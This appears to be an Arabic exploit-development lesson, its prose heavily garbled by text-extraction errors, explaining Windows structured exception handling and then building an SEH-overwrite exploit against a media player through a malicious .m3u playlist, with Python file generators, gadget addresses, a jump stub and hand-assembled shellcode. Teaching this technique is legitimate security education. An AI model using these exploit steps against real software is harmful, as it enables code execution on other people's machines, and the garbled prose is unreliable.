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 :ملدمة
لة املفز الى امـ   الذي تّم حلٌَ في المكدس ShellCodeثـرّفٌا في الدرس امسابق ؾن زغرات فِض مخزن مذواخد في المكدس، و ظرً

لى ثـويمات امـ  امَوم س يدرس هوع خدًد من زغرات فِض . ShellCodeمن خلل امكذابة ؿلى ؾيون رحوع الإحراء امغير الآمن مُشير اإ

 حتى في حالة ؿدم تمكٌيا من امكذابة ؿلى ؾيوان رحوع ShellCodeالمكدس، و ىرى كَف يمكٌيا تحوًل مجرى ثيفِذ امبرنامج الى امـ 

 .الإحراء

 
 Structured Exception Handling| ملس خثٌاءات  المـالجة الميؼمة .1

هيها ًيلل امكود من كعـة ُو الاس خثٌاءات مـالج  أ و( Access Violation )وصول خعئ في ٍتمثل اس خثٌاء حدوث ؾيد امخيفِذ اإ

  ...0 ؿلى املسمة

 :كامخالي امكود شكل ٍكون
__try 

{ 

الاستثناءاتنضع هنا الكود الذي نرٌد تنفٍذه فً هذا البلوك المحمً من  //  

} 

__catch(MyHandler())//  الاستثناءعند حدوث استثناء، ٌنقل التنفٍذ إلى هذا الكود الذي ٌتعامل مع  

{ 

} 

 

ظار كل س خثٌاءات مـالج ؿلى يحخوي أ ن  يمكن(Stack Frame )مكدس اإ  مـالج ثثبِت يمكن. خعط   أ ي حصول حالة في اس خدؿائَ ًتم اإ

 .المكدس داخل SEH_RECORD امبًِة حفغ خلل من اس خثٌاءات
SEH_RECORD struc 

     next    dd      ? 

     handler dd      ? 

SEH_RECORD ends 

لى مؤشر ُو امبًِة من ال ول امـيصر لى مؤشر ُو امثاني امـيصر أ ما امخالي SEH_RECORD اإ  بهذٍ. الحالي الاس خثٌاءات مـالج اإ

لة  .SEH Chain جسمى (Linked List )مترابعة كلائمة بامبـض ببـضِا مذصلة الإس خثٌاء مـالجات حكون امعرً

 أ ول ؿلى الحصول يمكٌيا. اس خثٌاءات مـالج  ثثبِت أ كثر منWindows هؼام ؿلى امتي جش خغل امـموَات من Thread يمكن مكل 

SEH_RECORD من امـ" Thread Environment Block"( TEB) مََ و  FS :[0]المسجل  الذي ٌشير اإ

و  امبرنامج كبل من مـالجتها ًتم ل امتي الاس خثٌاءات بامخلاط ًلوم" Default SEH "ٌسمى اس خثٌاءات مـالج Windows ميؼام

 .ًؼِر نافذة تحخوي ؿلى مـوومات حصول الإس خثٌاء

 
-1 -SEH Linked List 
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: مثال
// FileName: SEHexp.c 

#include <stdio.h> 

#include <windows.h> 

 

dword MyExceptionHandler(void) 

{ 

printf(”In exception handler….”); 

ExitProcess(1); 

return 0; 

} 

int main() 

{ 

try 

{ 

__asm 

{ 

// Cause an Access Violation exception 

xor eax,eax 

call eax 

} 

} 

__catch(MyExceptionHandler()) 

{ 

printf(“oops…”); 

} 

return 0; 

} 

 Thread Environment "لمحخوى Dump بـمل هلوم. OllyDbg داخل( امكذاب مؽ مرفق تجدٍ )SEHexp امبرنامج هفذح

Block– "حدى ثضوَل خلل من  .FS :[0]ىكذب  و CTRL+G هضغط ثم Hex Dump اميافذة في الموحودة امباًخات اإ

 
  ؾيد بداًة امبرنامجTEBمحخوى امـ- 2-

ة  SEH_RECORD امبًِة من next امـيصر كيمة حكون ؾيدما  و SEH Chainامـ نهاًة أ نها ًـني  ُذا0FFFFFFFFh مـ مساوً

لى ٌشير Handler امـيصر أ نّ   . Default Exception Handler اإ

  try ًلوم امبرنامج بخثبَت مـالج الاس خثٌاء الخاص بَ ثم ثيفِذ امكود الموخد داخل امبووك ،(F9 )امبرنامج بدشغَل هلوم الآن

و ؾيوان ل 0  يحخوي ؿلى امـيوانEAX وذلك ل ن المسجل CALL EAX ثـويمةال ثيفِذ امبرنامج محاولة ؾيد اس خثٌاء س َحصل  وُ

 SEH chain نخخار View املائمة من. يمكن نوبرنامج اموصول امََ

 
-3 -SEH chain 

ذا. (ntdll.dll )اميؼام ًلدمَ الآخر و (مكرر)بامبرنامج  خاص اس خثٌاءات مـالج ؿلى يحخوي أ هَ حغ ل  ُو 01211765hامـيوان  اإ

 (()MyExceptionHandler)الاس خثٌاءات  مـالجة لدالة مؤشر

 

SEH_RECORD 
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  داخل المكدسSEH chainحرابط امـ - 4-

: TEB خلل من ؿويها الحصول يمكن امتي و )SEH Chain امـ في ملدمة بامبحر Windows هؼام ًلوم اس خثٌاء، أ ي حصول ؾيد

FS:[0]) لى امخيفِذ بيلل مَلوم ذا اس خثٌاء، مـالج أ ول اإ آخر، اس خثٌاء ال خير ُذا في حصل اإ  امـيصر باس خـمال امدشغَل هؼام ًلوم أ

next لى ملهخلال ذا. امخالي الاس خثٌاء مـالج اإ لى امخيفِذ بيلل اميؼام ًلوم. 0FFFFFFFFhامليمة  ؿلى يحخوي امـيصر ُذا كان اإ  اإ

Default SEH( 0 امليمة تحت موحود مؤشرٍ ٍكون الذيFFFFFFFFh) 

 
 حرابط مـالجات الاس خثٌاءات- 5-

لى امشل كود. 2  اسدثمار المـالجة الميؼمة ملس خثٌاءات نولفز اإ

. Windows 7سِل و مٌاسب لما ثـومياٍ لحد الآن، كذلك ٌش خغل ؿلى " TFM MMPlayer v2.0" اخترت امبرنامج مِذا امغرض

 يحخوي ؿلى بَانات خاظئة. m3uامثغرة ثلؽ ؾيد مـالجة امبرنامج لموف . Playlistامبرنامج ًلوم بلراءة الموفات امصوثَة و موفات امـ 

 

 تحوَل امثغرة. 1. 2

 SEH Chain( View -> SEH chain)، هولي هضرة ؾن امـ F9 و هلوم بدٌفِذٍ OllyDbgهدخل امبرنامج داخل 

 
 Playlistمـالجات الاس خثٌاءات كبل فذح اي موف -6-
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 : باس خـمال كود باًثون امخاليm3uهلوم باوشاء موف 

junk=b"\x41"*5000 

 

f=open("crash.m3u", "wb") 

f.write(junk) 

f.close() 

 . مرة5000 مذكرر Aيحخوي ؿلى الحرف " crash.m3u"ًلوم ُذا امبرنامج باوشاء موف 

 :crash.m3uمن نافذة امبرنامج هفذح الموف 

 crash.m3uحصول اس خثٌاء ؾيد فذح الموف -7-

 

 ؿلى مؤشر ٌس خـمله امبرنامج ؾيد ثيفِذ ثـويمة اميلل ؾيد 41414141hماحصل ُو وكوع فِض في المكدس ادى الى كخابة امليمة 

و ؾيوان ل يمكن اموصول امََ من كبل امبرنامج 41414141h امتي ثلوم بيلل اربؽ باًخات ٌشير اهيها امـيوان 004038E4hامـيوان   وُ

 ان امفِض جسبب اًؼا في SEH Chainكذلك لحغ في نافذة . لذلك ثدسبب ُذٍ امخـويمة في حدوث خعط  وصول ؾيد املراءة

 .41414141hامكذابة ؿلى مؤشر مـالج الاس خثٌاء الذي اصبح ٌشير الى امليمة 
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 : لحغ ماذا يحصلSHIFT+F9ؾيد تخعي الاس خثٌاء باس خـمال المفذاح 

 
 41414141hهلل امخيفِذ الى امـيوان -8-

لحغ اًؼا ان . 12FC7Ch الموحودة في امـيوان SEH_RECORDتم هلل امخيفِذ الى مـالج الاس خثٌاء الذي جشير امََ امبًِة 

[ESP+8] ٌشير الى امـيصر next من امبًِة SEH_RECORD. 

 

لة اسدثمار امثغرة1. 2   ظرً

  مَصبح ٌشير الى امخـومَات امخاليSEH_RECORD من امبًِة handlerهضؽ ؾيوان في امـيصر 

POP REG32 

POP REG32 

RET 

 

لة سُتم تحوًل EIPثلوم ُذٍ امخـويمات بسحب كيمخين من المكدس ثم وضؽ امليمة امثامثة في المسجل   مَيلل اهيها امخيفِذ، بهذٍ امعرً

 بشرط ان ٍكون حجم ShellCodeؾيدُا يمكٌيا وضؽ ثـويمات في ُذا امـيصر تمكٌيا من هلل امخيفِذ الى امـ . nextامخيفِذ الى امـيصر 

 (nextحجم امـيصر ) باًخات 4ُذٍ امخـويمات ُو 

 :امخـويمات امتي ؿادتا جس خـمل مِذا امغرض هي
JMP SHORT nByte ; 0EBh, nByte 

NOP   ; 90h 

NOP   ; 90h 

س خلوم امخـويمة باملفر  [79h..0]، اذا كاهت كيمخَ بين [0FFh..0] ُو واحد باًت و يمكن ان ًط خذ كيمة بين nByteحجم المـامل 

nByte+1 0 الى ال مام مباشرة بـدة امباًتEB . اما اذا كاهت بين[0FFh..80] ُذا المجال ًـخبر هفسَ ُو ،[79 ..0h]  مكن املفز

سُبلى مؤشر  JMP SHORT 0FFh( 0EBh, 0FFh)ًـني في مثاميا، اذا كخبٌا . 0EBhس َكون الى الخوف مباشرة كبل امباًت 

و بداًة امخـويمة 0EBhامخـويمة ٌشير الى امباًت   JMPاما اذا كخبٌا .  و س خكون حولة غير مذياَُةJMP SHORT 0FFh وُ

SHORT OFEh 0 سُشير مؤشر امخـويمة الى امباًت الذي ٌس بق امليمةEBhو ُكذا . 

يمكٌيا وضؽ ثـويمات اخرى ثوصويا ميفس امغرض . ShellCodeثلك امخـويمات مُست اموحِدة امتي تمكٌيا من املفز الى امـ : ملحؼة

 . باًت4مكن امشرط اموحِد هي ان ٍكون حجمِا 
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 :مثال

 ًلؽ كبل امبًِة ShellCode و انّ امـ POP, POP, RET ٌشير الى امخـويمات 00453004hميفترض ان امـيوان 

SEH_RECORD .شكل موف الاسدثمار س َكون ُكذا: 

 
 امشكل امـام لموف الاسدثمار-9-

 

 امخعبَق ؿلى امبرنامج. 3. 2

 جمؽ مـوومات اسدثمار امثغرة. 1. 3. 2

 

 :الخعوة ال ولى

.  و بامخحدًد ؾيد حدوث الاس خثٌاءOllyDbgهـود الى . handler و nextهلوم بخحدًد ازاحة امليم امتي س خكذب ؿلى امـيصرٍن 

هبحر فوق ُذا امـيوان ؾن بداًة الموف . SEH_RECORD الذي ُو بداًة امبًِة 0012FC7Ch نوـيوان Dumpهلوم بـمل 

crash.m3u . 0012س يجدٍ ًبدأ  ؾيد امـيوانEC70h 

 

 
  ؾيوان المخزن الذي سٌُلل امََ محخوى الموف-10-

: handler و nextازاحة امـيصرٍن 
0012FC7Ch-0012EC70h=100Ch=4108 byte 

 

 :كود باًثون مِذا امغرض.  من خدًد مؽ اػافة ما ثوصويا امcrash.m3uََهلوم باوشاء موف 
junk=b"\x41"*4108 

nseh=b"BBBB"    # next 

seh=b"CCCC"     # handler 

 

f=open("crash.m3u", "wb") 

f.write(junk+nseh+seh) 

f.close() 
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 SEH_RECORDامخحكم في كيم امبًِة -11-
 

 :الخعوة امثاهَة

 ,POP, POPؾن ؾيوان نوخـويمات  (موفات المكذبات الخاصة بَ و الموف امخيفِذي نوبرنامج)داخل ثوابؽ امبرنامج  مهمخيا ان هبحر

RET .امبرنامج ل يملك مكذبات خاصة بَ لذلك س يلوم بامبحر داخل الموف امخيفِذي نوبرنامج . 

 CTRL+S او مباشرة من موحة المفاثَح هضغط Search For -> Sequence of commands نخخار ال مر OllyDbgمن برنامج 

 :س خؼِر نافذة بحر ىكذب فيها ال وامر امخالي
POP R32 

POP R32 

RET 

 

 
 POP POP RETامبحر ؾن ثـويمات -12-

 الذي ُو بدورٍ يحخوي ؿلى ثـويمات نولفز الى بداًة امـ next مًس خـمله لحلا نولفز الى امـيصر 00401390hنحخفغ بامـيوان 

Shellcode 

نّ امـ Null-Byteيحخوي ُذا امـيوان ؾن : ملحؼة  Null-Byte، س ًَذج ؾيَ ثوكف امبرنامج ؾن كراءة محخوى موف الاسدثمار ل 

آخر كيمة ًتم كرائتها من موف الاسدثمار ُو امـيوان .  ؿادتا ٌشير الى نهاًة الموف لذلك ؿوَيا وضؽ امـ . 00401390hبمـنى أ ن أ

ShellCode كبل امليم امتي س خكذب ؿلى امبًِة SEH_RECORD. 
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 :الخعوة ال خيرة

في ُذٍ الخعوة س يلوم بكذابة مجموؿة من امخـويمات تمكٌيا من املفز الى امشل كود الذي ذكرنا سابلا أ هيا س يضـَ كبل كيم امبًِة 

SEH_RECORD . لة امتي ذكرتها فوق س خكون املفزة الى اموراء و س َكون  (JMP SHORT nByte)ًـني اذا اس خـمويا امعرً

لة غير 128مو فرضيا اهيا س يلوم بكذابة شل كود ًخجاوز حجمَ . ( باًت128 )80hاكصى حد نولفز ُو   باًت، س خكون ُذٍ امعرً

 . نافـة نووصول الى اول باًت من امشل كود

لة اخرى nextؾيد حدوث الاس خثٌاء و ووصول امخيفِذ الى امخـويمات الموحودة في امـيصر  ، هلوم بخحوَل محخوى المكدس لإيجاد ظرً

 .وس خـمل فيها امليم الموحودة في المكدس نولفز الى اول باًت في امشل كود

 :seh في المخغير POP POP RETهـَد كخابة كود باًثون و اضافة ؾيوان امخـويمات 
junk=b"\x41"*4108 

nseh=b"BBBB"                # nseh -> INC EDX|INC EDX|INC EDX|INC EDX 

seh=b"\x90\x13\x40\x00"     # handler -> POP | POP | RET 

 

f=open("crash.m3u", "wb") 

f.write(junk+nseh+seh) 

f.close() 

 

 
-13- ESP+54h ٌشير الى ؾيوان محخوى الموف داخل امـ Heap 

 

 مُشير الى امـيوان ESP نومسجل 54hيمكٌيا اس خغلل ُذا امـيوان نولفز الى اول باًت من محخوى الموف من خلل اضافة 

0012E8B8h بـد ذلك وس خـمل امخـويمة RET 01729 ميلل امخيفِذ الى امـيوانCC4h. 

 : س َكون كامخاليnextاذن محخوى امـيصر 
ADD ESP, 60h  ; 83C4h, 54h 

RET  ; 0C3h 

 . باًخات4لحغ اهيا لم هخخعى 

 

 : يحخوي ؿلى ما ثوصويا امexploit.m3uََكود باًثون ًلوم باوشاء موف 
junk=b"\x41"*4108 

nseh=b"\x83\xC4\x54\xC3"    # next -> ADD ESP, 54h | RET 

seh=b"\x90\x13\x40\x00"     # handler -> POP | POP | RET 

 

f=open("exploit.m3u", "wb") 

f.write(junk+nseh+seh) 

f.close() 
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 exploit.m3u نجاح هلل امخيفِذ الى اول باًخات الموف -14-

 

 ShellCodeكخابة امـ . 2. 3. 2

 Bad Charsس يلوم باؿادة كخابة هفس امشل كود الذي اس خـموياٍ في الدرس ال ول مؽ بـض امخـدًلت اهمِا ثفادي احذوائَ من امـ 

(00h, 0Dh, 0Ah) 

يا في الدرس امسابق ExitProcessو  MessageBoxنجمؽ ؾيوان الدامخين   .كما رأً 

 
 ExitProcess و MessageBoxؾيوان الدامخين -15-

 :ShellCodeمحخوى امـ 
;+-+-+-+-+[ FileName: shellcode.asm ]+-+-+-+-+-+ 

 

.386 

.model flat, stdcall 

option casemap:none 

 

.code 

start: 

;+-+-+-+-+[ shell code section ]+-+-+-+-+-+ 

         push 1                 ; OK | Cancel  

         jmp _caption 

_rCaption: 

         mov    esi, [esp]      ; esi=caption 

         xor    al, al          ; al=0 

         mov    [esi+9], al     ; [esi+9]=caption[9]=90h to 

         jmp _msg 

_rMsg: 

         mov    esi, [esp]      ; esi=msg 

         xor    al, al          ; al=0 

         mov    [esi+54], al    ; [esi+54]=msg[54]=90h 

         xor    eax, eax 

         push   eax             ; hWnd 

         mov    eax, 90401234h  ; 90xxxxxxh to avoid null bytes 

         and    eax, 0FFFFFFFh  ; Omit 90h 

         call   eax             ; <=> call MessageBox 

 

         push   1 

         mov    eax, 9040122Ch    

         and    eax, 0FFFFFFFh 

         call   eax  ; <=> call ExitProcess 

 

;+-+-+-+-+-+[ shell data section ]+-+-+-+-+-+ 

_caption: 

         call _rCaption               ; <=> push offset caption 
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         caption db "ShellCode",90h 

_msg: 

         call _rMsg                   ; <=> push offset msg 

         msg     db "Writing shellcodes based on learning Assembly language",90h 

end start 

 

 :كود باًثون لإوشاء الموف اهنهائي لإسدثمار امثغرة
shellcode=(b"\x6A\x01\xEB\x2F\x8B\x34\x24\x32\xC0\x88\x46\x09\xEB\x34" 

           b"\x8B\x34\x24\x32\xC0\x88\x46\x36\x33\xC0\x50\xB8\x34\x12" 

           b"\x40\x90\x25\xFF\xFF\xFF\x0F\xFF\xD0\x6A\x01\xB8\x2C\x12" 

           b"\x40\x90\x25\xFF\xFF\xFF\x0F\xFF\xD0\xE8\xCC\xFF\xFF\xFF" 

           b"\x53\x68\x65\x6C\x6C\x43\x6F\x64\x65\x90\xE8\xC7\xFF\xFF" 

           b"\xFF\x57\x72\x69\x74\x69\x6E\x67\x20\x73\x68\x65\x6C\x6C" 

           b"\x63\x6F\x64\x65\x73\x20\x62\x61\x73\x65\x64\x20\x6F\x6E" 

           b"\x20\x6C\x65\x61\x72\x6E\x69\x6E\x67\x20\x41\x73\x73\x65" 

           b"\x6D\x62\x6C\x79\x20\x6C\x61\x6E\x67\x75\x61\x67\x65\x90") 

sJunk=4108-len(shellcode) 

junk=b"\x41"*sJunk 

nseh=b"\x83\xC4\x54\xC3"    # next -> ADD ESP, 54h | RET 

seh=b"\x90\x13\x40\x00"     # handler -> POP | POP | RET 

 

f=open("exploit.m3u", "wb") 

f.write(shellcode+junk+nseh+seh) 

f.close() 
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